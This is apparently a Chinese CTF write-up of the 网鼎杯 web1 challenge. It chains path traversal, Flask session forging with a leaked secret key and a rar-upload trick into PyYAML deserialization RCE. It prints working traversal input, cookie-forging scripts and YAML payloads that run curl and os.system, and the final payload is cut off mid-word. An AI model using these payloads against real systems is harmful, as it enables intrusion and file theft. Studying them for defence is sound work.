您当前的位置: 首页 > 

暂无认证

  • 13浏览

    0关注

    93978博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

网鼎杯初赛--web1

发布时间:2022-08-29 19:58:44 ,浏览量:13

web1–yaml的反序列化 前言

7月底强网杯出了一道python的pickle反序列化,现在8月底网鼎杯又出了python的yaml反序列化,现在借此机会,自己再总结总结。当然自己在后面的时间里也要不断努力,学到更多的东西。

题目

基础看看这个:https://xz.aliyun.com/t/7923#toc-0

poc集合:https://www.tr0y.wang/2022/06/06/SecMap-unserialize-pyyaml/#%E6%94%BB%E5%87%BB%E6%80%9D%E8%B7%AF

考点:就是python的yaml的反序列化

wp:

import os import re import yaml import time import socket import subprocess from hashlib import md5 from flask import Flask, render_template, make_response, send_file, request, redirect, session

app = Flask(__name__) app.config['SECRET_KEY'] = socket.gethostname() def response(content, status): resp = make_response(content, status) return resp @app.before_request def is_login(): if request.path == "/upload": if session.get('user') != "Administrator": return f"" else: return None @app.route('/', methods=['GET']) def main(): if not session.get('user'): session['user'] = 'Guest' try: return render_template('index.html') except: return response("Not Found.", 404) finally: try: updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest() if not session.get('updir'): session['updir'] = updir if not os.path.exists(updir): os.makedirs(updir) except: return response('Internal Server Error.', 500) @app.route('/', methods=['GET']) def download(file): if session.get('updir'): basedir = session.get('updir') try: path = os.path.join(basedir, file).replace('../', '') if os.path.isfile(path): return send_file(path) else: return response("Not Found.", 404) except: return response("Failed.", 500) @app.route('/upload', methods=['GET', 'POST']) def upload(): if request.method == 'GET': return redirect('/') if request.method == 'POST': uploadFile = request.files['file'] filename = request.files['file'].filename if re.search(r"\.\.|/", filename, re.M | re.I) != None: return "" filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar" if os.path.exists(filepath): return f"" else: uploadFile.save(filepath) extractdir = f"{session.get('updir')}/{filename.split('.')[0]}" if not os.path.exists(extractdir): os.makedirs(extractdir) pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir]) t_beginning = time.time() seconds_passed = 0 timeout = 60 while True: if pStatus.poll() is not None: break seconds_passed = time.time() - t_beginning if timeout and seconds_passed > timeout: pStatus.terminate() raise TimeoutError(cmd, timeout) time.sleep(0.1) rarDatas = {'filename': filename, 'dirs': [], 'files': []} for dirpath, dirnames, filenames in os.walk(extractdir): relative_dirpath = dirpath.split(extractdir)[-1] rarDatas['dirs'].append(relative_dirpath) for file in filenames: rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1]) # 将python对象转换为yaml对象 with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f: f.write(yaml.dump(rarDatas)) return redirect(f'/display?file={filename}') @app.route('/display', methods=['GET']) def display(): filename = request.args.get('file') if not filename: return response("Not Found.", 404) if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'): with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f: yamlDatas = f.read() if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M | re.I): rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode())) if rarDatas: return render_template('result.html', filename=filename, path=filename.split('.')[0], files=rarDatas['files']) else: return response('Internal Server Error.', 500) else: return response('Forbidden.', 403) else: return response("Not Found.", 404) if __name__ == '__main__': app.run(host='0.0.0.0', port=8888) 

首先第一步就是需要一个flask的session伪造,常规考点,需要获取secret_key,这个位置开始没有想法,最后发现这个路由下,只是对路径进行了替换,但是并没有过滤,所以就可以双写绕过

@app.route('/', methods=['GET']) def download(file): if session.get('updir'): basedir = session.get('updir') try: path = os.path.join(basedir, file).replace('../', '') if os.path.isfile(path): return send_file(path) else: return response("Not Found.", 404) except: return response("Failed.", 500) 

....//进行目录穿越,进行任意文件读取,看到secret_key需要远程环境的gethostname,这个太坑了,我读取/etc/hostname读取下来发现根本伪造不了,secret_key是错误的,最后才发现是读取/etc/hosts里面的,结果是engine-1

在这里插入图片描述 拿到secret_key,直接利用脚本进行flask的session伪造

解密脚本:

#!/usr/bin/env python3 import sys import zlib from base64 import b64decode from flask.sessions import session_json_serializer from itsdangerous import base64_decode def decryption(payload): payload, sig = payload.rsplit(b'.', 1) payload, timestamp = payload.rsplit(b'.', 1) decompress = False if payload.startswith(b'.'): payload = payload[1:] decompress = True try: payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception') if decompress: try: payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload') return session_json_serializer.loads(payload) if __name__ == '__main__': print(decryption(b"eyJ1cGRpciI6InN0YXRpYy91cGxvYWRzLzRiM2NmMWZmYzkyMjRmNGQ4MzBjNWEyOWRiODU0ZDE1IiwidXNlciI6Ikd1ZXN0In0.YwhSAg.BU69JzlzLcf9lZ4nXbgJu50cUDE")) 

看到了session的格式,直接利用加密脚本进行伪造,我只取了核心部分

当然Github上的比较完整:https://github.com/noraj/flask-session-cookie-manager

import requests import ast from flask.sessions import SecureCookieSessionInterface

secret_key = 'engine-1' class MockApp(object): def __init__(self, secret_key): self.secret_key = secret_key def session_cookie_encode(secret_key, session_cookie_structure): try: app = MockApp(secret_key) session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error]{}".format(e) if __name__ == "__main__": payload = '''{"updir":"static/uploads/4b3cf1ffc9224f4d830c5a29db854d15","user":"Administrator"}''' res = session_cookie_encode(secret_key,payload) print(res) #url = 'http://eci-2ze74l0esvdjrc6llom3.cloudeci1.ichunqiu.com:8888/' #requests.get(url=url) #files = {'file': open('2.txt', 'rb')} #r = requests.post(url=url + '/upload', files=files,cookies={'session': res}) #print(r.text) 

伪造成功,就可以直接进入upload路由,开始看后面的python代码逻辑

第一遍读完,我们的利用点就是后面那个yaml反序列化打RCE

先看upload路由

# 上传的一个目录下: filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar" # unrar解压下的一个目录,在该目录下会生成解压后的yaml文件 extractdir = f"{session.get('updir')}/{filename.split('.')[0]}" # 打开一个yaml文件,然后直接写入我们不需要的一个yaml数据,而且是写入到fileinfo目录下 rarDatas = {'filename': filename, 'dirs': [], 'files': []} with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f: f.write(yaml.dump(rarDatas)) 

在display路由中

if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'): 

我们只要存在这样一个yaml文件,才能进行反序列化,但是上面upload路由下,rarDatas会写入需要的yaml。

相当于就是,我们现在只能反序列化一个rarDatas的python对象生成的一个yaml对象。

目标就是需要控制yaml文件的目录,同时这个yaml文件不被覆盖。下面是解决方法:

解决目录问题:我们将文件名前缀写成fileinfo的形式,就可以解压到fileinfo目录下

extractdir = f"{session.get('updir')}/{filename.split('.')[0]}" 

解决了目录问题,yaml文件会被覆盖,现在解决文件不被覆盖的问题:

我们先可以上传一个fileinfo.rar文件,这样在fileinfo目录下生成一个压缩包里的yaml文件,我们需要进入display路由的关键函数,所以在压缩包里放入一个yaml文件,文件名是fileinfo.rar的md5字符b07407f978cba7abbd036e545015c132.yaml

但是这样会在yaml.dump时被覆盖掉

所以进行第二次上传,我们将文件名改为fileinfo.rara,这样又可以覆盖掉fileinfo的b07407f978cba7abbd036e545015c132.yaml文件,然后因为md5(filename.encode()).hexdigest(),dump时也不会被覆盖。

最后就是我们直接访问/display?file=fileinfo.rar路由,就可以直接进入关键函数,当然也是load我们的恶意yaml文件

现在就是构造一个yaml反序列化

这篇文章的poc都被过滤了:https://xz.aliyun.com/t/7923#toc-5

找到了这个:https://gist.github.com/adamczi/23a3b6d4bb7b2be35e79b0667d6682e1

# The `extend` function is overriden to run `yaml.unsafe_load` with 
# custom `listitems` argument, in this case a simple curl request

- !!python/object/new:yaml.MappingNode
  listitems: !!str '!!python/object/apply:subprocess.Popen [["curl", "http://127.0.0.1/rce"]]'
  state:
    tag: !!str dummy
    value: !!str dummy
    extend: !!python/name:yaml.unsafe_load

这篇也有另一种payload:https://hackmd.io/@harrier/uiuctf20#uiuctf-2020

subprocess.Popen被过滤了,apply换成new,我们可以用eval或者exec,

然后绕过正则表达式,我们更改_为\x5f并.绕过\x2e正则这种

所以构造payload:

因为RCE发现需要提权,find一下有高权限dd命令,利用dd命令读flag

byte_var = b"__import__('os').system('dd if=/flag of=/tmp/flag.txt > /tmp/c.txt')" for i in byte_var: i = hex(i) i = i.replace("0", "\\",1) print(i,end="") 

然后放入yaml文件

dirs:[''] filename:z3eyond files: - !!python/object/new:yaml.MappingNode listitems: !!str "!!python/object/new:eval [\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x64\x64\x20\x69\x66\x3d\x
2f\x66\x6c\x61\x67\x20\x6f\x66\x3d\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x63\x2e
\x74\x78\x74\x27\x29]" state: tag: !!str dummy value: !!str dummy extend: !!python/name:yaml.unsafe_lo 

最后传上去访问/display?file=fileinfo.rar

然后目录穿越读tmp下的flag文件

关注
打赏
1655516835
查看更多评论
立即登录/注册

微信扫码登录

0.0514s